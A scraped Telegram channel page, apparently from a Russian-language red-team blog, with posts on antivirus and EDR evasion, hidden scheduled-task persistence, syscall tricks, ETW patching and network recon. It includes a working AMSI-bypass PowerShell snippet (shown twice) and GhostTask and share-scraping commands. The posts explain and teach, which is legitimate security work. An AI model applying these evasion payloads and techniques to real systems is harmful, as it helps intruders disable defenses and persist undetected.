Хатка бобра
رفتن به کانال در Telegram
541
مشترکین
اطلاعاتی وجود ندارد24 ساعت
اطلاعاتی وجود ندارد7 روز
اطلاعاتی وجود ندارد30 روز
در حال بارگیری داده...
کانالهای مشابه
هیچ دادهای
مشکلی وجود دارد؟ لطفاً صفحه را تازه کنید یا با مدیر پشتیبانی ما تماس بگیرید.
ابر برچسبها
هیچ دادهای
مشکلی وجود دارد؟ لطفاً صفحه را تازه کنید یا با مدیر پشتیبانی ما تماس بگیرید.
اشارات ورودی و خروجی
---
---
---
---
---
---
جذب مشترکین
ژوئیه '24ژوئیه '24
ژوئیه '24
+371
در 0 کانالها
ژوئن '240
در 0 کانالها
Get PRO
مه '240
در 2 کانالها
Get PRO
آوریل '24
+170
در 3 کانالها
پستهای کانال
#recon #shares #post
Иногда что-нибудь ценное можно найти на шарах (файлы с кредами, персональные данные, какие-то пруфы реализации целей пентеста), для этих целей можно использовать скрапперы:
PowerView:
Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*./Snaffler.exe -i C:\ -s| 2 |  +1#persist #tasks #opsec
Закрепление через планировщик задач не ново, за отслеживание изменений в тасках отвечают события 4698-4702.
Однако если поиграться с записями в реестре, можно скрыть ранее созданную таску через удаление записи SD (Security Descriptor) или манипуляцию Index:
- Если удалить SD, то таска пропадет из списка стандартных инструментов, но продолжит работу. SD определяет права доступа к таске.
- Если установить Index в значение 0x0, то она не только пропадет из списка, но и её можно изменить через schtasks /change /tr без создания события изменения (4702) и удаления (4699)
Для всех таких манипуляций нам необходимы права системы.
Если копнуть еще дальше, то можно создавать задачи через реестр и не создавать типовые события. Пока я разбирался как это сделать, как обычно уже кто-то умный сделал это)
Функционал реализован в https://github.com/netero1010/GhostTask:
- Создание скрытых задач без генерации событий
- Изменение существующих задач без генерации событий
- Удаленное и локальное выполнение
- Выполнение в контексте C2 через исполнение PE в памяти (memexec)
Например, если мы хотим создать задачу, которая будет выполняться от имени Administrator каждую минуту:
GhostTask.exe localhost add beaver "cmd.exe" "/c notepad.exe" Beaver.lab\Administrator second 60
Ссылки:
- [2022] Оригинальный ресерч про создание таски через реестр: https://labs.withsecure.com/publications/scheduled-task-tampering
- [2023] Статья на русском про скрытие и детект событий в планировщике через ETW: https://habr.com/ru/companies/rvision/articles/723050/
- [2024] Статья про скрытие через SD и детект подобного поведения: https://www.binarydefense.com/resources/blog/diving-into-hidden-scheduled-tasks/
- [2022] Статья про скрытие через Index: https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments | 1 084 |
| 3 | #kerberos #potato #edr
Пара статей на тему скрытности действий через Cobalt Strike в контексте Elastic EDR на примере киллчейна aspx upload -> SeImpersonatePrivilege -> lsass dump.
https://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabilities-part1.html
https://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabilities-part2.html
Если кратко:
- Используется кастомный лоадер https://github.com/xforcered/BokuLoader
- При исполнении нагрузки aspx создается не новый процесс, а инжект в текущий
- Повышение через модифицированный CoercedPotato в Reflective DLL
- Альтернативное повышение через S4U2Self с последующим доступом к WinRM.
- Как альтернатива дампу lsass дампается LSA через https://github.com/RalfHacker/Kerbeus-BOF. И далее тикеты кербероса используются для дальнейшего продвижения по сети. | 970 |
| 4 | #iat #av #bypass #api #hashing
Еще один из способов для антивируса выявить возможную зловредную активность - это анализ Import Address Table (IAT). Это таблица, содержащая импортируемые функции из DLL-библиотек нашей программой.
Соответственно, если мы собираемся вызывать какие-то подозрительные функции из нашего кода, то они упадут в IAT.
Посмотреть список импортов можно так:
dumpbin /imports .\binary.exe
К способам обхода относятся:
1) Статическая линковка (по сути включаем нужные библиотеки в состав самой программы)
2) Динамическая загрузка необходимых функций в коде (указываем лишь dll)
3) Сократить число импортируемых функций через отключение Run-Time библиотек (MSCRT) - уменьшит энтропию файлов. Если кратко - энтропия характеризует файл на предмет шифрования и упаковщика. Вредоносы обладают повышенной энтропией, а потому если энтропия файла выше определенной границы, то можно сказать, что файл с большой долей вероятности - вредонос.
4) API Hashing для скрытия названий функций
5) Подделка IAT. Нужна на тот случай, чтобы антивирус не среагировал на пустой IAT. Поэтому мы грузим функции и заставляем их выполнять пустые действия.
Ссылки:
- [2023] Статья с примерами реализации: https://xakep.ru/2023/09/05/hiding-iat/
- [2023] Api Hashing https://xakep.ru/2023/10/06/api-hashing/
- [2024] Чуть больше способов скрытия: https://www.rotta.rocks/offensive-tool-development/bypassing-av/hiding-and-obfuscating-iat
- [2024] И там же про camouflaging https://www.rotta.rocks/offensive-tool-development/anti-analysis-techniques/hiding-camouflaging-iat#camouflaging-iat
- [2019] Про энтропию файлов : https://practicalsecurityanalytics.com/file-entropy/ | 811 |
| 5 |  +1#dfir #leak #report
Вышел отчет Verizon 2024 Data Breach Investigations Report, в котором рассмотрены более 10 тысяч различных ИБ инцидентов компаний с ноября 2022 года по ноябрь 2023.
Из примечательного вынес для себя:
- В сравнении с 2023 выросло число проникновения внутрь через уязвимости и сравнялось с числом фишинга. В топе все еще использование кредов (утечки, покупка в даркнете).
- Основные цели - веб (сюда относятся MOVEit - 1567 взломов, веб-морды VPN) и фишинг.
- Время реакции ИБ на исправление уязвимостей: 30 дней после публикации - 85% уязвимостей остается не устраненными, 55 дней - 50%.
Ссылки:
- Отчет с источника: https://www.verizon.com/business/resources/T5cf/reports/2024-dbir-data-breach-investigations-report.pdf | 800 |
| 6 | #av #edr #bypass #syscall
*тут был очередной длиннопост о том, как работает Hell's Gate, но кому это надо? Кому интересно в деталях - в ссылках отличное описание*
В статье выше я упоминал, что для использования прямых вызовов нам необходимо использовать идентификаторы системным вызовов (SSN) для обхода AV (чтобы избежать хукинг функций).
Эти системные вызовы гвоздями прибиты к различными версиям Windows, а потому приходится переписывать код каждый раз под нужную целевую систему.
Техника Hell's Gate решает эту проблему, позволяя динамически получить идентификаторы SSN функций.
Для получения мы анализируем ntdll.dll, а именно Process Environment Block (PEB) и Export Address Table (EAT).
Ссылки:
- [2019] Статья от авторов техники: https://github.com/am0nsec/HellsGate/blob/master/hells-gate.pdf
- [2023] Детальный пост о способе работы https://redops.at/en/blog/exploring-hells-gate | 715 |
| 7 | #api #windows #syscall #av #bypass
Большинство API функций экпортируются из kernel32.dll. Эти функции не взаимодействуют напрямую с ядром, они используют для этого так называемые сисколлы (syscall - system call).
Сисколлы являются своеобразным интерфейсом для взаимодействия с ядром. Большинство из них описано в ntdll.dll и их наименования начинается с "Nt".
Например, если разработчик хочет использовать функцию OpenProcess Windows API, под капотом эта функция будет использовать NtOpenProcess функцию в ntdll.dll
В самих функциях ntdll при этом особо функционала нет -их задача лишь сформировать syscall к ядру Windows.
Как это может использовать антивирус (уже скорее EDR)?
Когда запускается новый процесс, EDR проводить инъекцию в этот процесс своей DLL. EDR проанализирует память процесса на предмет адресов других DLL, функции из которых ему необходимо анализировать.
Например, если EDR хочет анализировать вызов функции "NtProtectVirtualMemory" из ntdll.dll, первоначально ему необходимо будет найти базовый адрес этой DLL в памяти, а далее уже найти адрес функции (по оффсету).
После того как адрес функции будет найден, EDR перезаписывает адрес этой функции на адрес функции в своей собственной DLL. В итоге когда процесс будет обращаться к этой функции, он обратиться в функцию EDR, предполагая её библиотечной.
В таком случае EDR может выполнить анализ передаваемых данных на предмет зловреда.
Техники обхода можно реализовать двумя основными способами:
- Прямые вызовы (direct syscalls)
- Непрямые вызовы (indirect syscalls)
А так же существуют различные техники модификаций этих способов (API Hashing, Hell's gate и другие).
Прямые вызовы используют ассемблерные вставки для обращения к Nt* функциям, минуя ntdll.dll. В обычном случае, мы обращаемся к этой DLL для поиска нужной функции, тут мы делаем это без поиска, в результате EDR не может перехватить наш запрос. Это сложно реализовать, поскольку от версии к версии адреса Nt функций могут изменяться. Проще говоря - это их идентификаторы (SSN - Syscall Service Number).
Один из способов для EDR выявлять такую активность - это смотреть появление сисколлов, которые осуществляются не через ntdll.dll. Потому что корректные сисколлы идут через ntdll.dll.
Непрямые вызовы работают аналогично прямым, но вместо выполнения сисколла через ассемблерную вставку мы осуществляем jump на адрес нужного нам сисколла в ntdll.dll. Эта техника так же нам позволяет в коде использовать идентификаторы одной функции, а фактически обращаться к другой (по её адресу).
Статьи:
- https://redops.at/en/blog/direct-syscalls-a-journey-from-high-to-low - Статья с детальными разбором что такое сисколы и прмимерами реализации
- [2023] https://www.vaadata.com/blog/antivirus-and-edr-bypass-techniques/#api-hooking | 777 |
| 8 |  بدون متن... | 647 |
| 9 |  #windows #kernel #api
Прежде чем перейти к другому способу получения информации, API Hooking, небольшая заметка про зачем вообще нужен Windows API.
Упрощенно, в Windows есть два основных пространства со своими привилегиями и доступами запущенных приложений:
- User Mode (Level)
- Kernel Mode (Level)
Можно закопаться и сказать что есть кольца (ring), которые выступают промежуточными состояниями, но для простоты в посте опишу только два крайних уровня.
Kernel Mode даёт все возможности выстрелить себе в ногу, если нужно:
- Тут выполняются операции управления системными ресурсами и предоставляются ключевые сервисы
- Запущенное ПО имеет полный контроль над системными ресурсами, включая работу с памятью и железом
- Процессы на этом уровне могут управлять другими процессами, управлять драйверами железа
- Короче процесс в этом режиме может сделать всё что угодно
User Mode создан для того, чтобы не седеть каждые несколько минут:
- Запущенное ПО имеет ограниченный доступ к системным ресурсам и железу
- Запущенные здесь приложения не имеют прямого доступа критическим системным ресурсам, для взаимодействия с ними используется специальные интерфейсы (API). Примеры: Win32api, kernel32.dll и ntdll.dll
- Если что-то упадет, оно не утянет за собой все остальное, потому что процессы изолированы друг от друга
- Ну и по этим причинам здесь запускается большинство пользовательских программ
Причем эти два уровня изолированы на уровне процессора. Процессор периодически переключается между операциями User Mode и Kernel Mode, а управляет этим переключением ОС.
Используя различные API приложения из User Level могут обращаться к функциям Kernel Level (например для создания другого процесса).
Ссылки:
- [2023] https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/user-mode-and-kernel-mode - Статья от MS
- [2008] https://blog.codinghorror.com/understanding-user-and-kernel-mode/ - Статья хоть и старая, но простая
- https://en.wikipedia.org/wiki/Architecture_of_Windows_NT
- https://en.wikipedia.org/wiki/Protection_ring | 764 |
| 10 | #etw #bypass #av
Подход к обходу ETW аналогичен AMSI: в наш процесс, добавлена какая-то новая функция.
Наша задача найти эту функцию и переписать, то есть алгоритм работы следующий:
1) Открыть ручку к нашему процессу
2) Определить адрес функций в памяти, связанных с ETW (например, EtwEventWrite)
3) Для каждого обнаруженного адреса добавить, например при помощи функции WriteProcessMemory, "ret" инструкцию, которая завершит выполнение функции сразу после обращения к ней. В результате никакие логи в ETW не улетят.
Например CLR (Common Language Runtime), который используется при выполнении execute-assembly, передаёт данные в ETW через функцию ntdll!EtwEventWrite.
Если у нас Unmanaged процесс, то мы можем выполнить пропатчить эту функцию таким образом, чтобы сразу после инициализации она возвращала управление основному коду.
В случае если наш процесс в контексте CLR, то мы можем сделать тоже самое, но часть операций до патчинга упадет в лог - это нужно учитывать.
В статье ниже приведены примеры патчинга для x86 архитектур на .NET.
Ссылки:
- [2020] https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/ | 837 |
| 11 | #etw #av #bypass
Event Tracing for Windows (ETW) - это механизм логгирования различных событий, создаваемых приложениями и драйверами. Фактически является более расширенной версией стандартного журнала событий.
Исторически ETW использовался для задач дебага при разработке, но в последствии вендора решили, что это можно использовать и для поиска малвари.
ETW состоит из трёх отдельных компонентов:
- Провайдеры (Providers), в некоторых случаях зовутся поставщиками
- Потребители (Consumers)
- Контроллеры (Controllers)
Провайдеры генерируют события, потребители их используют, а контроллеры управляют всей этой деятельностью.
Провайдеры - это приложения, которые содержат функционал отправки событий в ETW. Примеры провайдеров: ядро Windows, драйвера устройств, user-mode приложения и другое ПО. Какие необходимо отправлять события решает разработчик в своём коде, упрощенно говоря, если выполняется важная с точки зрения разработчика функция (открывается доступ к SAM), то создается запись в ETW.
Для отправки провайдеры регистрируются в контроллере, контроллер в свою очередь может включить или отключить источник событий. Отключенный источник события не генерирует. Пример контроллеров - это logman или wevtutil. Для связи между провайдером и потребителем контроллер использует так называемые сессии трассировки. Сессия служит в том числе для фильтрации необходимых данных по различными параметрам, потому что потребителю может быть нужна только одна часть информации, а другому потребителю - другая.
Антивирусы в этой цепочке выступают потребителями, которые анализируют события для следующих задач:
1) Подозрительные события (паттерны)
2) Поведенческий анализ: именно ETW позволяет антивирусам анализировать последовательность событий и распознавать в этом зловредные активности путем корреляции с вредоносными.
3) Защита в реальном времени: благодаря ETW, антивирус может реагировать на события в системе и удалять вредоносные файлы при записи их на диск, убивать вредоносные процессы или блокировать им сетевой доступ.
Вообще ETW можно использовать не только в целях защиты, но и в целях атаки, но необходимы привилегии администратора. Как пример:
1) Снифер экранной клавиатуры: https://github.com/gtworek/PSBits/tree/master/ETW
2) Анализ ETW на предмет NetNTLMv2-хешей пользователей, которые подключаются к нашему серверу https://github.com/nettitude/ETWHash + статья https://labs.nettitude.com/blog/etwhash-he-who-listens-shall-receive/
Ссылки:
- [2020] https://habr.com/ru/articles/502362/ - разбор работы ETW
- [2021] https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101 - чуть больше практики с ETW
- [2022] https://bmcder.com/blog/a-begginers-all-inclusive-guide-to-etw - наиболее полный гайд по ETW
- [2023] https://threadreaderapp.com/thread/1706772248802291929.html - анализ поведения Havoc C2 на основе ETW
- [2023] https://xakep.ru/2024/03/28/sysmon-full-blinding/ - манипуляции с ETW для ослепления Sysmon | 747 |
| 12 | #amsi #av #bypass
Antimalware Scan Interface (AMSI) - это API через который можно интегрировать свою программу с AV.
Проще говоря, это просто библиотека - amsi.dll, из которой можно импортировать нужные функции и получить результат взаимодействия с AV. Например, функция AmsiScanString в качестве аргумента берет строку и возвращает AMSI_RESULT_CLEAN, если угроз не обнаружено, и AMSI_RESULT_DETECTED, если обнаружены. Есть аналогичная для бинарных данных - AmsiScanBuffer.
Важно понимать, что AMSI фактически обеспечивает статический анализ в рантайме - мы анализируем отдельную передаваемую строку или набор байтов, но не смотрим логику работы программы в целом.
AMSI необходим для борьбы с бесфайловыми способами продвижения и встроен в средства MS, которые могут для этого использоваться. Среди других инструментов, что используют AMSI: Powershell, VBScript, JScript, VBA в Office, Exchange Server, .NET in-memory assembly loads и другие.
Существует два способа интеграции с AMSI:
- Через DLL
- Через подпись на события ETW (id 1101)
Это все конечно круто, но нас как пентестеров, интересует обход этой штуки, верно?
Какие у нас есть варианты?
Поскольку amsi.dll загружается в наш процесс (например, powershell), то она имеет такие же права, как и мы. Поэтому большинство методов сводится к переопределению её функций таким образом, чтобы она всегда возвращала нужный нам результат (без угроз) или выпала с ошибкой. В обоих случаях - не мешает нам работать.
Давайте для примера разберем AMSI-bypass, который я ранее упоминал в посте про CLM (https://t.me/beaverdreamer/145). Для удобства я его из однострочника переведу в нормальный вид:
$a=[Ref].Assembly.GetTypes();
Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};
$d=$c.GetFields('NonPublic,Static');
Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};
$g=$f.GetValue($null);
[IntPtr]$ptr=$g;
[Int32[]]$buf = @(0);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
Работает он следующим образом:
1) В начале мы динамически определяем класс AmsiUtils, храним это в переменной $c.
2) Через метод GetFields() определяем все объекты и переменные в классе, а при помощи фильтра уменьшаем размер выдачи и далее ищем в выдаче метод amsiContext ($f).
3) Получаем адрес в памяти через метод GetValue().
4) Перезаписываем по этому адресу заголовок функции amsiContext четырьмя нулями. При последующем анализе нашей следующей команды AMSI обратиться к этому куску памяти и не найдет необходимую функцию, в результате будет ошибка AMSI, а наша команда выполнится.
Ссылки:
- [2019] https://docs.microsoft.com/en-us/windows/desktop/amsi/how-amsi-helps - Статья от MS про принципы работы AMSI
- [2022] https://redcanary.com/blog/amsi/ - Детальная статья о работе AMSI, с разбором конкретных событий, которые улетают после активности на ПК.
- [2023] https://habr.com/ru/articles/758550/ - Статья на хабре в более технических деталях работы AMSI и несколько актуальных техник обхода | 1 189 |
| 13 | Метод проверки окружения
Если AV использует эмулированное окружение, некоторые проверки окружения будут отличаться от реальных.
Здесь множество проверок может быть реализовано, рассмотрим несколько:
- Запросить объем оперативной памяти. Как правило AV используют ограниченный объем RAM (2 гига, но вероятно уже больше). Так что если мы проверим объем RAM и он, допустим, больше 4 Гб - то мы можем запускать нашу нагрузку.
- Использование временной задержки. Как уже ранее писал, метод Sleep эмулируется AV или пропускается совсем, так что мы его использовать не можем. Однако если функция Sleep фактически не выполняется, мы это тоже можем использовать. Например, засечь время, выполнить слип и снова засечь время. Если между засечками у нас время не равно ожидаемому, то значит функция была пропущена и мы работали в эмуляторе.
- Запускаемый бинарь в эмуляторе будет иметь иное имя, нежели мы ему назначим, так что мы это тоже можем выявить в коде. Метод описан тут (ага, 2013): https://blog.deepsec.net/deepsec-2013-talk-easy-ways-to-bypass-anti-virus-systems/
- Дополнительно можно привязаться к человеческому фактору при обнаружении песочницы. Можем ожидать каких-то специфичных от пользователя действий, прежде чем выполнить нашу нагрузку. Например, троян Upclicker ожидал нажатия левой кнопки мыши для активации.
Знай своего врага
Если мы знаем что-то о целевой машине, на которой хотим запускать нагрузку, то мы легко можем обойти эмуляцию. Нам необходимо в качестве условия для инициализации поставить проверку информации, которую мы знаем: наличие файла на целевой системе со специфичной информацией, значение переменной, IP-адрес хоста - все что угодно.
Так, зная имя пользователя, мы можем создать на его рабочем столе файл, записать туда содержимое и затем прочитать его. AV в большинстве своём не смогут создать файл в директории, которой нет (поскольку нет пользователя в эмуляторе), а потому инициализация вредоноса не произойдет.
Ссылки:
- [2014] Emeric Nasi - Bypass AV Dynamic https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf
- https://book.hacktricks.xyz/windows-hardening/av-bypass#dynamic-analysis | 996 |
| 14 | #av #bypass #sandbox
Ранее разобрали, что перед запуском нашего бинаря он попадет в песочницу. А значит нам нужно её как-то обнаружить и не дать нашему вредоносному коду в ней запуститься.
Мы начнем с простых методов, актуальность которых уже даже под вопросом, но я решил их все равно упомянуть, потому что они позволят понять "А что было раньше".
Если лень читать всё ниже, то можно выделить следующие простейшие методы:
- Шифрование нагрузки / функционала. Например выше в картинке мы дергаем ключ шифрования из DNS записи, что невозможно выполнить в песочнице.
- Анти-анализ - определяем окружение, если это эмулятор - то не запускаем нагрузку.
- Механизмы задержки выполнения вредоноса. AV торопится, ему некогда возиться с нашей нагрузкой.
Предложение, от которого стоит отказаться
Самый простой метод обхода AV - это выиграть время, прежде чем код будет расшифрован.
Простой Sleep тут не поможет, потому что большинство AV умеют его обходить, поэтому на помощь нам приходят способы заставить AV использовать методы в коде на которые у него уйдет много ресурсов. А он это не хочет - у него дела, поэтому он бросит это и уйдет к следующему файлу.
Примеры использования такого метода:
- Выделить большой объем памяти (100, 200 МБ) типовой функцией. Некоторые AV умеют выявлять такие внезапные запросы ресурсов и тоже используют как критерий вредоносности активности.
- Использование простой операции большое число раз. Например - инкрементировать сто миллионов раз в цикле и выполнять какую-то заглушку.
Метод проверки привилегий
Поскольку наш процесс запускается в контексте эмулятора, в нем могут быть нетиповые для реальной машины условия. Самое очевидное - это привилегии.
В эмулятора часто процесс запускается с административными привилегиями, а значит можно на основе этого обнаружить эмулятор.
Способы это выявить:
- Попробовать открыть доступ к любому из системных процессов с полными правами. В нормальной ситуации это должно быть невозможно.
- Попробовать скачать что-то из интернета или открыть ссылку. Среда эмуляции не предоставляет доступ в интернет, и вместо ожидаемых данных наш код получит случайные, сгенерированные эмулятором. Поэтому если мы добавим в наш код логику проверки этих данных, и не запускать нашу нагрузку. Однако этот метод накладывает ограничения на запуск в средах с ограниченным доступом в инет и мы вынуждены держать "эталонные" данные всегда на месте. Этот метод можно модифицировать - запрашивать не реально существующие данные, а те, что реально не существуют. В среде эмуляции на эти данные вернется ответ, хотя не должен и это можно использовать как признак эмуляции.
Нетиповые методы API
Этот метод использует нетиповые редко используемые для сканера методы API, поэтому их эмуляция не производится.
Например, мы можем взять метод NUMA для выделения памяти. AV не умеют с ним работать, и потому просто сталкиваются с ошибкой при запуске.
Другой способ - это использование FLS (Fiber Local Storage), он в свою очередь используется для управления нитями (fiber) процессов. Нити в свою очередь - это компоненты выполнения внутри thread (http://msdn.microsoft.com/en-gb/library/windows/desktop/ms682661(v=vs.85).aspx). При использовании этого метода, некоторые AV возвращают FLS_OUT_OF_INDEXES в ответ на функцию выделения файберов FlsAlloc() | 836 |
| 15 |  بدون متن... | 645 |
| 16 | #av #bypass #basics #dynamic
В прошлом посте разобрались со статикой. Мы зашифровали нашу нагрузку супер-секретным ключом, который храним в коде и де-факто для антивируса ничего вредоносного в самом бинаре нет, это мы проверили через ThreatCheck.
Но при его запуске мы сталкиваемся с ситуацией, что наш вредонос обнаружен. Почему? Давайте разбираться.
Динамический анализ проверяет наш бинарь следующими способами:
- Запуск в песочнице: выполнение в изолированной среде и анализ действий (Эвристика)
- Анализ таблицы импорта адресов (иначе говоря, используемые библиотеки и импортируемые функции)
- Анализ системных логов и события (здесь у нас работает механизм под названием ETW и его анализ логов)
- API Hooking - если мы взаимодействуем с Win32API, то есть способы анализировать обращения и при необходимости их ограничивать.
Однако для обхода этих механизмов нужно понимать ограничения AV. В основном выделяют три:
- Сканы должны быть быстрыми, потому что проверять нужно много - это основное ограничение.
- Окружение эмулировано и часто не связанно с реальными параметрами машины
- Песочница имеет определенные параметры, которые могут быть обнаружены
Типовые способы обхода динамического тестирования сводятся к тому, чтобы понять что наш бинарь работает в реальной среде и не выполнять в эмуляторе (песочнице) нашу нагрузку. А когда мы её обошли - не стриггерить антивирус уже в рантайме.
Для начала разберем способы детекта песочницы:
- Sleep перед запуском. AV должен оперативно проверить наш файл - юзер не любит ждать. Для обхода некоторых AV это сработает. Другая часть умеет либо ускорять время внутри эмулятора, либо целиком пропускать задачу слипа.
- Проверка доступных ресурсов. Песочницы не имеют больших мощностей, а потому один из способов определения - это, например, узнать объем оперативной памяти
- Проверка окружения машины. На этом этапе мы определяем в какой среде работает наш бинарь, и если бинарь запускается, например, на машине в целевом домене, то полезная нагрузка не исполняется (по сути guardrails в кобальте). Например у дефендера название компьютера в песочнице - HAL9TH
- Использование шифрования для скрытия полезной нагрузки и расшифровка её в реальной среде (не в эмуляторе).
Детальнее эти методы копнем в следующем посте, а пока держите затравку в виде картинки. Используемые методы в ней разберем далее)
Ссылки:
- Доклад-воркшоп с дефкона по работе AV и обходу: https://www.youtube.com/watch?v=F_BvtXzH4a4
Материал к нему: https://github.com/BC-SECURITY/Beginners-Guide-to-Obfuscation
- Преза на ту же тему, но больше теории: https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20workshops/DEF%20CON%2029%20Workshop%20Anthony%20Rose%20Evading%20Detection%20A%20Beginners%20Guide%20to%20Obfuscation.pdf
- Общая статья и заодно источник картинки: https://book.hacktricks.xyz/windows-hardening/av-bypass | 635 |
| 17 | #av #basics
Начнем потихоньку погружаться в механизмы работы AV )
AV используют два основных способа сканирования для обнаружения вредоносов:
- Статический
- Динамический (память и runtime анализ)
Эти сканирования могут быть вызваны такими триггерами как:
- Чтение или запись файла - когда файл создан или изменен
- Периодические сканирования
- Поведенческие триггеры - AV смотрит поведение ПО в памяти (как правило вызовы API) и на основе них триггерит сканы.
Сегодня копнем статику, а в последующих постах разберем другие. Серия не претендует на полноту информации, я лишь постараюсь простым языком рассказать о базовых механизмах защиты и базовых же способах их обхода.
Статический анализ осуществляется путем идентификации строк, комбинации байтов в файле (скрипт или бинарь), а так же на основе информации о файле в целом (описание, например).
Проще говоря, это условный поиск по файлу на вхождение различных строк и комбинаций байтов.
Способы детекта, используемые при статическом анализе:
- Сканирование по хешам (Hash Scanning). Хеш может быть посчитан либо на основе целого файла (старый механизм работы AV), так и фрагментов кода. Хеш целого файла мы можем легко изменить модификацией любого куска кода.
- Эвристический анализ (Heuristics).
Последний смотрит за несколькими параметрами:
- Анализ структуры файла
- Логика работы (AST-деревья, Control Flow Graph). AST-дерево это, если кратко, декомпозиция работы программы - к каким функциям обращается, какие параметры использует.
- Анализ на основе правил (если условие А и Б выполняются, то помечай вредоносом)
- Оценка на основе различных допущений и вероятностей, что файл вредоносный
Способы обхода сводятся к изменению содержимого бинаря, чтобы найти "плохие" строки было нельзя:
- Обфускация. Нам нужно определить на что реагирует антивирус, как-то это преобразовать и сохранить функционал. Самый простой вариант здесь - это выполнить, например, XOR операцию на нагрузку и далее при запуске выполнить обратную операцию. Сюда же относятся логические операции по разбиению текстовых команд на составляющие, динамический поиск и обращение к функциям
- Шифрование самого бинаря. Для его запуска в последующем вам потребуется какой-то способ для его расшифровки и выполнения (loader).
- Разработка собственных инструментов с нуля. Если вы пишите что-то абсолютно и полностью своё, то сработок антивиря на такое точно не будет :)
Ссылки:
- https://github.com/rasta-mouse/ThreatCheck - Удобный инструмент для работы со статикой: на основе вывода определяем кусок памяти бинаря, на который триггериться AV. Затем ищем по конкретному адресу фрагмент кода и сопоставляем с исходником. Меняем, повторяем до победного конца. Еще поддерживает AMSI, но мы к нему вернемся попозже.
- https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf - крутой плейлист на ютубе на тему с обходом AV, в том числе про статику (15+ часов, не шучу). | 516 |
| 18 |  +1#phishing #word
Натолкнулся на крутую статью по актуальным на февраль 2023 способам фишинга через вордовские документы, а так же связанные с ними механизмы защиты.
Автор разделяет большую задачу фишинга на более мелкие этапы:
- Доставка
- Получение и распаковка
- Выполнение кода (или целей, которых мы хотим достичь)
И далее разбирает каждый из этапов в разрезе актуальности: что применимо, что стоит выкинуть на мусорку, какие механизмы будут мешать.
Намеренно делаю пост небольшим, потому что из статьи сложно что-то выдрать отдельно, она логична и крута :)
Оригинал статьи: https://www.securesystems.de/blog/offphish-phishing-revisited-in-2023/ | 507 |
| 19 | #powershell #bypass #clm #amsi
Constrained Language Mode (CLM) - это настройка PowerShell, которая ограничивает команды, которые может выполнять пользователь.
Именно из-за этих ограничений у тебя не сработают IEX и загрузка .NET бинаря в память, что срезает возможные способы исполнения кода (тот же execute-assembly).
Настроить для тестов можно следующим образом:
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage" # для текущей сессии powershell
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine') # через настройку переменной окружения для всех сессий
Проверить текущий статус настройки можно при помощи команды:
$ExecutionContext.SessionState.LanguageMode
Если вернется Constrained, то информация ниже для тебя актуальна)
Способы обхода ограничений:
- Запустить новый инстанс powershell.exe, сработает если ограничение в текущей сессии, как выше.
- Запустить более старую версию powershell (если установлена в ОС старая версия .NET): powershell -version 2 . Актуально для версий винды 7, 8.1 и ранних 10.
- Запуск powershell через бинарь pwsh (если установлен Powershell v6)
- Если путь до вашего скрипта будет содержать system32, то политика не будет применяться. То есть если есть возможность просто переименовать скрипт в system32.ps1, то политика не будет применяться. У меня не получилось на актуальной версии винды, но есть статья от сентября 2022 года - https://www.blackhillsinfosec.com/constrained-language-mode-bypass-when-pslockdownpolicy-is-used/
Отдельно выделю запуск отдельного runspace через System.Management.Automation.dll. Пример реализации в контексте текущей сессии powershell: https://github.com/calebstewart/bypass-clm. Если реализован еще AppControl, то можно вызвать через InstallUtil (смотри LOLBAS).
Из коробки AV будет триггериться на часть с обходом AMSI (строки 46-66). Можно скомпилировать без неё, а затем отрубить его руками:
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
Ссылки (на самом деле не нашел много актуальной информации в одном месте, потому образовался пост):
- https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass
- https://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs#ps-constrained-language-mode
- https://viperone.gitbook.io/pentest-everything/everything/powershell/constrained-language-mode | 405 |
| 20 | #recon #internal
Предположим, что мы попали в сеть в какой-то рандомный сегмент сети на не доменную машину и нам необходимо понять куда дальше двигаться.
Есть вариант просканировать все частные диапазоны, но это недостаточно детально, поэтому первоочередной задачей - понять какие сегменты вообще живые.
Способы ниже основаны на предположениях и гипотезах, так что нужно адаптировать под конкретную ситуацию - я лишь расскажу о своих подходах. Под OPSec адаптируйте сами =))
Из тех способов, что известны мне и использую:
- ARP
- Поиск шлюза и определение других живых сетей при помощи Ping-Scan'a
- Скан типовых портов по всей сети
- DNS (recon + transfer zone)
ARP - используем для разведки в широковещательном сегменте сети.
Можно воспользоваться https://github.com/royhills/arp-scan для сканирования локального сегмента сети. В качестве результата получим перечень живых хостов: их IP- и ARP-адреса, производителя (по маку). Полезно проверять не только сегмент, в котором вы находитесь прям сейчас (условный 192.168.1.0/24), но и другие известные диапазоны сети. Если сети разделены только логически (но подключены в один порт), можно встретить другие устройства, встречал такое в сегментах АСУ ТП.
Пример команды:
arp-scan -I eth0 192.168.86.0/24
Поиск шлюза и определение других живых сетей при помощи Ping-Scan'a
Так же можно узнать в сетевой конфигурации адрес шлюза (часто используют либо .1, либо .254 в случае с /24 сетью) и просканировать всю сеть (частные диапазоны) на предмет наличия ответа по ICMP. Намеренно опускаю случаи более мелких сетей, потому что тут можно закопаться.
В результате можно считать, что там где прилетел пинг - эти сегменты живые и далее сканировать их целенаправленно.
Для примера если все шлюзы расположены на .1:
